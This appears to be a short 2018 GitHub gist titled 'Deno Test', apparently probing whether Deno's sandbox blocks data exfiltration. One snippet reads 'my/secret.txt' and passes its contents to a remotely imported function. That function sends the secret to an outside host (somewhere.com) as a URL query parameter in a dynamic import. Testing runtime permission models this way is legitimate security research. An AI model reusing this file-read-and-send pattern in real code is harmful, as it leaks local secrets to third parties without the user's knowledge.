Skip to content

Instantly share code, notes, and snippets.

@hisorange
Last active December 10, 2018 11:58
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save hisorange/83a22f60c3e6928c497402c59bbb7736 to your computer and use it in GitHub Desktop.
Save hisorange/83a22f60c3e6928c497402c59bbb7736 to your computer and use it in GitHub Desktop.
Deno Test
export function remoteLoad(secret) {
console.info('Will this execute?');
try {
const a = import("https://somewhere.com/?secret=" + secret);
} catch (e) {
}
}
import { readFileSync } from "deno";
(async () => {
console.info("Deno loaded");
const i = await import("https://gist.githubusercontent.com/hisorange/83a22f60c3e6928c497402c59bbb7736/raw/0dc7c266ea7e5d57b3631ec275926ba3c9ff04a7/deno.ts");
const decoder = new TextDecoder("utf-8");
const data = readFileSync("my/secret.txt");
const dd = decoder.decode(data);
console.log(dd);
i.remoteLoad(dd);
console.info("Closing");
})();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment